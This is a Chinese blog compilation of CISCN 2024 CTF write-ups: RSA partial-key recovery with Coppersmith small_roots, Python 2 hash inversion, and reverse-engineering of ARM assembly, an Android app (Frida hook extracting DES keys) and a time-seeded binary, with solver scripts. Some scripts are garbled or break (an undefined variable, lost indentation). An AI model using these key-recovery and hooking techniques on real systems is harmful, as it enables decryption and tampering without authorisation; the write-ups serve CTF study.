55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
priv.pem:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,435BF84C562FE793
9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlh
WiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdD
ig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSI
jLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==
-----END RSA PRIVATE KEY-----
题目分析:
第一部分先略过吧,不想看
直接跳到后面阶段
得到的数据有:
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x10001
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

4.checkin

题目描述:
from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
x = 2021*p+1120*q
h = (inverse(x,n)+x)%n
e = 65537
c = pow(bytes_to_long(flag), e, n)
print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
题目分析:
已知:
现在的重点是small_roots()里面的参数要怎么设置 先来点 前置知识 (怕自己又忘了):
在方程F(x),模数N确认的情况下,我们可以通过增加 β \betaβ 的取值或减小 ϵ \epsilonϵ 的取值,使得X取到更优的上界。
现在,已知d = 2,beta = 1,X有500位未知,我们取epsilon = 0.01是完成能够得到结果的,但我们也知道epsilon越小,耗时越长,我们试着把epsilon调大一点,让epsilon = 0.02,看看能否出结果。经过测试也是能出结果的,那么就用它啦
把x_diff求出来了,后面就简单了,这也就不多说了
from Crypto.Util.number import long_to_bytes
N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p0 = 4055618
p_high = p0 << 490
x0 = 2021 * p_high + 1120 * (N // p_high)
P.<x_diff> = PolynomialRing(Zmod(N))
f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)
res = f.small_roots(X = 2^500, epsilon = 0.02)
x_diff = Integer(res[0])
x = x0 + x_diff
p = var('p')
q = var('q')
res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)
print(res)
p = Integer(res[0][0].rhs()) # 提取等号右边部分
q = Integer(res[0][1].rhs())
d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,N))))
进入主题 国赛ez_rsa 题目描述: (就截取这么一点点了)
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 65537
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

题目分析:

方式1

解方程的过程和上题的思路应该来说是一样的 这里也是d = 2,beta = 1,所以关键部分还是落在了epsilon 的取值上,这个就自己去生成数据测一测,从0.05往上加,发现到0.09以后解集为空,那么设置成0.09就行
from Crypto.Util.number import *
from tqdm import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x010001
dqlow = 0x8f2363b340e5
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
bits = 48
PR.<x> = PolynomialRing(Zmod(n))
dq = (2 ^ bits * x) + dqlow
# k = 47794
for k in trange(e,1,-1):
f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k)
f = f.monic()
root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09)
if root:
dq = int(root[0]) * 2 ** bits + dqlow
q = int((e * dq - 1) // k + 1)
p = int(n // q)
phi = (p - 1) * (q - 1)
d = inverse_mod(e,phi)
print(long_to_bytes(int(pow(c,d,n))))
break
from Crypto.Util.number import long_to_bytes
from tqdm import *
from Crypto.Util.number import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
dq_low = 0x8f2363b340e5
q_low = []
bits = 48
e = 65537
qq = var('qq')
PR.<x> = PolynomialRing(Zmod(n))
# k = 47794
for k in trange(e,1,-1):
k = 47794
q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits)
for i in q0:
f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0]))
f = f.monic()
root = f.small_roots(X = 2^(512-bits), epsilon = 0.09)
if root:
q = 2^bits * int(root[0]) + int(i[0])
p = n // q
d = inverse_mod(e,(p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,n))))
break
# flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}

5.hash

题目描述
你能仅仅通过一个Python2.7自带的hash函数的输出,计算出它的原象的sha384哈希值吗?
解题思路
将压缩包解压后,含有两个文件,分别是 hash.py 、 output.txt 。
hash.py
#!/usr/bin/python2
# Python 2.7 (64-bit version)
from secret import flag
import os, binascii, hashlib
key = os.urandom(7)
print hash(key)
print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)
output.txt
7457312583301101235
13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
output.txt 的两行数据分别是 hash.py 中的两行输出。
根据源代码逻辑,可以知道首要问题是如何将 k e y keykey 的密文,解密出原文。
通过查询 python2.7 的内置 hash 函数,可以搜索到相关信息:
python3 中的 hash 函数相对于 python2 ,不同在于 python3 中会对要加密的字符串的运算添加 prefix 和 suffix ,而 python2 默认不会添加。
通过 github 上 python2.7 开源代码,找到 python2.7 中 str 类型的 hash 计算源码,部分代码如下:
static long
string_hash(PyStringObject *a)
{
register Py_ssize_t len;
register unsigned char *p;
register long x;
#ifdef Py_DEBUG
assert(_Py_HashSecret_Initialized);
#endif
if (a->ob_shash != -1)
return a->ob_shash;
len = Py_SIZE(a);
/*
We make the hash of the empty string be 0, rather than using
(prefix ^ suffix), since this slightly obfuscates the hash secret
*/
if (len == 0) {
a->ob_shash = 0;
return 0;
}
p = (unsigned char *) a->ob_sval;
x = _Py_HashSecret.prefix;
x ^= *p << 7;
while (--len >= 0)
x = (1000003*x) ^ *p++;
x ^= Py_SIZE(a);
x ^= _Py_HashSecret.suffix;
if (x == -1)
x = -2;
a->ob_shash = x;
return x;
}
将其逻辑再编写成一个简易的函数方便测试,代码如下:
ll h(char *s, ll len) {
ll res = 0;
res ^= (s[0] << 7LL);
for(int i = 0; i < len; ++i) {
res = (res * 1000003ull) ^ (unsigned )s[i];
}
res ^= len;
return res;
}
现在进行解密算法的寻找,可以解密关键在于将表达式
解密代码如下:
vector<unsigned> uh(ull d) {
d ^= 7;
ull res = d;
for(ull i7 = 0; i7 < 256u; ++i7)
for(ull i6 = 0; i6 < 256u; ++i6)
for(ull i5 = 0; i5 < 256u; ++i5) {
ull res_6 = (res ^ i7) * iv; //iv 是1000003在模数2^64下的逆元
ull res_5 = (res_6 ^ i6) * iv;
ull res_4 = (res_5 ^ i5) * iv;
vector<int> a(3);
a[0] = i7;
a[1] = i6;
a[2] = i5;
Hashmap[res_4] = a;
}
for(ull i1 = 0; i1 < 256u; ++i1)
for(ull i2 = 0; i2 < 256u; ++i2)
for(ull i3 = 0; i3 < 256u; ++i3)
for(ull i4 = 0; i4 < 256u; ++i4) {
ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003
ull res_2 = (res_1 * v) ^ i2;
ull res_3 = (res_2 * v) ^ i3;
ull res_4 = (res_3 * v) ^ i4;
if(Hashmap.find(res_4)!=Hashmap.end()){
return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]};
}
}
}
具体公式推导涉及同余方程、逆元等知识。
代码运行完毕得到密文的 ascii 为 93 140 240 63 90 8 82
key = ']\x8c\xf0?Z\x08R'
pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)
ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
flag = ans ^ pre
flag = hex(flag)
print flag
flag 的16进制为 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d
使用在线16进制转字符网站计算,得到 flag 原文为 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07} 

四、Reverse

1、asm_re

下载得到txt文件,打开发现是ida跑出来的arm的汇编代码,再结合题目名称,这题应该是要读汇编代码了
找到关键部分,整理一下
数据存在__const段里,注意小端法提取一下
然后就可以脚本解出了
exp:
decodechr=''
flag=''
enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
for i in enc:
decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)
flag+=decodechr
print((flag))
'
运行运行
拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}

2、androidso_re

用jadx打开,定位到mainactivity
使用函数legal进行了判断,函数里使用了方法inspect,查看一下
这里关键的两个参数就是key和iv,解压安装包看看so
直接hook
function main() {
Java.perform(function () {
Java.enumerateClassLoaders({
onMatch: function (loader) {
try {
var factory = Java.ClassFactory.get(loader);
var CheckerClass = factory.use("com.example.re11113.inspect");
var key = CheckerClass.getKey();
console.log("Key: " + key);
} catch (e) {
// console.log("Error accessing class or method: " + e);
}
},
onComplete: function () {}
});
});
}
setTimeout(main,1000);
package ciscn;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
public class FlagDecryptor {
private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
private static final String CHARSET = StandardCharsets.UTF_8.name();
public static void main(String[] args) {
try {
String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
String decryptedString = decryptFlag(encryptedFlag);
System.out.println("Decrypted string: " + decryptedString);
} catch (Exception e) {
System.err.println("Decryption failed: " + e.getMessage());
}
}
private static String decryptFlag(String encryptedFlag) throws Exception {
byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);
byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);
SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");
IvParameterSpec iv = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(ALGORITHM);
cipher.init(Cipher.DECRYPT_MODE, key, iv);
byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, CHARSET);
}
static class JniUtils {
public static String getKey() {
return "A8UdWaeq";
}
public static String getIv() {
return "Wf3DLups";
}
}
}
flag{188cba3a5c0fbb2250b5a2e590c391ce}

3、whereThel1b

打开py文件
逻辑很清晰,主要的加密内容肯定是在so文件里面
这个文件有很强的python编译特征,可以考虑进行反编译
特征函数,编写exp:
import base64
import random
random.seed(0)
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
keys = [random.randint(0, len(encry)) for _ in range(len(encry))]
flag = [k ^ e for k, e in zip(keys, encry)]
decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()
print(decoded_flag)
'
运行运行
flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

4.gdb_debug

用IDA反编译,定位main函数,可以发现程序逻辑为:
在这里插入图片描述
输入str,将str每一个字符异或一个随机数,得到str2
在这里插入图片描述
定义str3,随机交换洗牌,得到一个0-38的随机不重复的序列
在这里插入图片描述
根据str3,得到str4,使得str4[i]=str2[str[3]]
在这里插入图片描述
将str4每一个字符异或一个随机数
在这里插入图片描述
根据str4,得到s1,使得s1[i]=str4[i]^byte_5636B30010A0,其中byte_5636B30010A0固定且已给出
在这里插入图片描述
将s1与s2作对比,若相同,则输入flag正确,其中s2为"congratulationstoyoucongratulationstoy"
在这里插入图片描述
这个程序的特性在于,在置随机数种子时,使用的是当前时间按位与0xF0000000的结果为种子,使得种子在很长一段时间执行时都相同。
在这里插入图片描述
基于此,我们可以提前求出要用到的随机数(要在Linux系统上运行,与Win的rand()逻辑不同):
srand(((int)time(0))& 0xF0000000);
char rand1[38];
unsigned int rand2[38],rand3[38];
for(int i=0;i<len;i++)
{
rand1[i] = rand();
// cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
rand2[i] = rand()%(i+1);
// cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
rand3[i] = rand();
}
然后根据上面所述步骤,反过来计算一遍,完整代码如下:
# Run in linux
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>
using namespace std;
typedef long long LL;
typedef long double DD;
int main()
{
srand(((int)time(0))& 0xF0000000);
char s2[] = "congratulationstoyoucongratulationstoy";
unsigned char byte_10A0[] = {
0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 
0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 
0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00
};
char rand1[38];
unsigned int rand2[38],rand3[38];
int len = strlen(s2);
cout << "len:" << len << endl;
for(int i=0;i<len;i++)
{
rand1[i] = rand();
// cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
rand2[i] = rand()%(i+1);
// cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
rand3[i] = rand();
}
for(int i=0;i<len;i++)
{
s2[i] ^= byte_10A0[i];
}
for(int i=0;i<len;i++)
{
s2[i] ^= rand3[i];
}
int str3[39];
for(int i=0;i<len;i++)
{
str3[i] = i;
}
for(int i=len-1;i;--i)
{
int temp = str3[i];
str3[i] = str3[rand2[i]];
str3[rand2[i]] = temp;
}
//s2[i]=str2[str3[i]];
char str2[39] = {0};
for(int i=0;i<len;i++)
{
str2[str3[i]] = s2[i];
}
for(int i=0;i<len;i++)
{
str2[i] ^= rand1[i];
}
cout << str2;
return 0; //-22 61 13 92
}
在Linux上运行,得到flag:
在这里插入图片描述
附件题目地址:链接: https://pan.baidu.com/s/1q-SEU_4WnD9o2ZUn9b6tDw 提取码: jdur
参考转自原文连接地址:
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/uuzeray/article/details/139052904
https://xz.aliyun.com/t/14556
https://blog.csdn.net/weixin_62467741/article/details/139122071
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/Jayjay___/article/details/139047540
https://blog.csdn.net/Myon5/article/details/139046502
https://blog.csdn.net/XiongSiqi_blog/article/details/139064568
https://blog.csdn.net/althumi/article/details/139077709

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/440836.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

集合论基础 - 离散数学系列(一)

目录 1. 集合的基本概念 什么是集合&#xff1f; 集合的表示方法 常见的特殊集合 2. 子集与幂集 子集 幂集 3. 集合的运算 交集、并集与补集 集合运算规则 4. 笛卡尔积 5. 实际应用 6. 例题与练习 例题1 练习题 总结 引言 集合论是离散数学的基础之一&#xff…

Linux 外设驱动 应用 1 IO口输出

从这里开始外设驱动介绍&#xff0c;这里使用的IMX8的芯片作为驱动介绍 开发流程&#xff1a; 修改设备树&#xff0c;配置 GPIO1_IO07 为 GPIO 输出。使用 sysfs 接口或编写驱动程序控制 GPIO 引脚。编译并测试。 这里假设设备树&#xff0c;已经配置好了。不在论述这个问题…

金融教育宣传月 | 平安养老险百色中心支公司开展金融知识“消保县域行”宣传活动

9月22日&#xff0c;平安养老险百色中心支公司积极落实国家金融监督管理总局关于开展金融教育宣传月活动的相关要求&#xff0c;联合平安人寿百色中心支公司共同组成了平安志愿者小队&#xff0c;走进百色市四塘镇百兰村开展了一场别开生面的金融消费者权益保护宣传活动。此次活…

通用mybatis-plus查询封装(QueryGenerator)

结果如下图所示 java类代码分别如下 1 package com.hdx.contractor.util.mybatis;import com.hdx.contractor.common.user.SecurityUser; import com.hdx.contractor.common.user.UserDetail; import com.hdx.contractor.util.query.oConvertUtils; import lombok.extern.slf…

YOLO11改进|卷积篇|引入线性可变形卷积LDConv

目录 一、【LDConv】卷积1.1【LDConv】卷积介绍1.2【LDConv】核心代码 二、添加【LDConv】卷积2.1STEP12.2STEP22.3STEP32.4STEP4 三、yaml文件与运行3.1yaml文件3.2运行成功截图 一、【LDConv】卷积 1.1【LDConv】卷积介绍 下图是【LDCNV】的结构图&#xff0c;让我们简单分析…

Ajax面试题:(第一天)

目录 1.说一下网络模型 2.在浏览器地址栏键入URL&#xff0c;按下回车之后会经历以下流程&#xff1a; 3.什么是三次握手和四次挥手&#xff1f; 4.http协议和https协议的区别 1.说一下网络模型 注&#xff1a;各层含义按自己理解即可 2.在浏览器地址栏键入URL&#xff0c;…

盲拍合约:让竞拍更公平与神秘的创新解决方案

目录 前言 一、盲拍合约是什么&#xff1f; 二、盲拍合约工作原理 1、合约创建与初始化 2、用户出价&#xff08;Bid&#xff09; 3、出价结束 4、披露出价&#xff08;Reveal&#xff09; 5、处理最高出价 6、结束拍卖 7、退款与提款 三、解析盲拍合约代码…

阿里云域名解析和备案

文章目录 1、域名解析2、新手引导3、ICP备案 1、域名解析 2、新手引导 3、ICP备案

类的特殊成员函数——三之法则、五之法则、零之法则

系统中的动态资源、文件句柄&#xff08;socket描述符、文件描述符&#xff09;是有限的&#xff0c;在类中若涉及对此类资源的操作&#xff0c;但是未做到妥善的管理&#xff0c;常会造成资源泄露问题&#xff0c;严重的可能造成资源不可用&#xff0c;如申请内存失败、文件句…

【redis-05】redis保证和mysql数据一致性

redis系列整体栏目 内容链接地址【一】redis基本数据类型和使用场景https://zhenghuisheng.blog.csdn.net/article/details/142406325【二】redis的持久化机制和原理https://zhenghuisheng.blog.csdn.net/article/details/142441756【三】redis缓存穿透、缓存击穿、缓存雪崩htt…

57.对称二叉树

迭代 class Solution {public boolean isSymmetric(TreeNode root) {if(rootnull){return true;}Deque<TreeNode> denew LinkedList<>();TreeNode l,r;int le;de.offer(root.left);de.offer(root.right);while(!de.isEmpty()){lde.pollFirst();rde.pollLast();if(…

BMC pam认证的使用

1.说明 1.1 文档参考资料 https://www.chiark.greenend.org.uk/doc/libpam-doc/html/Linux-PAM_ADG.htmlhttp://www.fifi.org/doc/libpam-doc/html/pam_appl-3.htmlpdf文档: https://fossies.org/linux/Linux-PAM-docs/doc/adg/Linux-PAM_ADG.pdflinux-pam 中文文档pam 旧文p…

<数据集>工程机械识别数据集<目标检测>

数据集格式&#xff1a;VOCYOLO格式 图片数量&#xff1a;2644张 标注数量(xml文件个数)&#xff1a;2644 标注数量(txt文件个数)&#xff1a;2644 标注类别数&#xff1a;3 标注类别名称&#xff1a;[dump truck, wheel loader, excavators] 序号类别名称图片数框数1dum…

SpringBootWeb快速入门!详解如何创建一个简单的SpringBoot项目?

在现代Web开发中&#xff0c;SpringBoot以其简化的配置和快速的开发效率而受到广大开发者的青睐。本篇文章将带领你从零开始&#xff0c;搭建一个基于SpringBoot的简单Web应用~ 一、前提准备 想要创建一个SpringBoot项目&#xff0c;需要做如下准备&#xff1a; idea集成开发…

wordpress Contact form 7发件人邮箱设置

此教程仅适用于演示站有留言的主题&#xff0c;演示站没有留言的主题&#xff0c;就别往下看了&#xff0c;免费浪费时间。 使用了Contact form 7插件的简站WordPress主题&#xff0c;在有人留言时&#xff0c;就会发邮件到网站的系统邮箱(一般与管理员邮箱为同一个)里。上面显…

SpringCloud简介 Ribbon Eureka 远程调用RestTemplate类 openfeign

〇、SpringCloud 0.区别于单体项目和soa架构&#xff0c;微服务架构每个服务独立&#xff0c;灵活。 1. spring cloud是一个完整的微服务框架&#xff0c;springCloud包括三个体系&#xff1a; spring cloud Netflix spring cloud Alibaba spring 其他 2.spring cloud 版本命名…

论文阅读笔记-LogME: Practical Assessment of Pre-trained Models for Transfer Learning

前言 在NLP领域,预训练模型(准确的说应该是预训练语言模型)似乎已经成为各大任务必备的模块了,经常有看到文章称后BERT时代或后XXX时代,分析对比了许多主流模型的优缺点,这些相对而言有些停留在理论层面,可是有时候对于手上正在解决的任务,要用到预训练语言模型时,面…

软件设计师(软考学习)

数据库技术 数据库基础知识 1. 数据库中的简单属性、多值属性、复合属性、派生属性简单属性&#xff1a;指不能够再分解成更小部分的属性&#xff0c;通常是数据表中的一个列。例如学生表中的“学号”、“姓名”等均为简单属性。 多值属性&#xff1a;指一个属性可以有多个值…

sql-labs:42~65

less42&#xff08;单引号闭合、报错回显&#xff09; login_useradmin login_password123 and if(11,sleep(2),1) # # 单引号闭合 ​ login_useradmin login_password123and updatexml(1,concat(0x7e,database(),0x7e),1)# # 报错回显…

mysql UDF提权(实战案例)

作者&#xff1a;程序那点事儿 日期&#xff1a;2024/09/29 16:10 什么是UDF? 全称 User Define Function &#xff08;用户自定义函数&#xff09;UDF提权&#xff0c;就是通过自定义函数&#xff0c;实现执行系统的命令。 dll&#xff08;windows&#xff0c;dll文件是c语…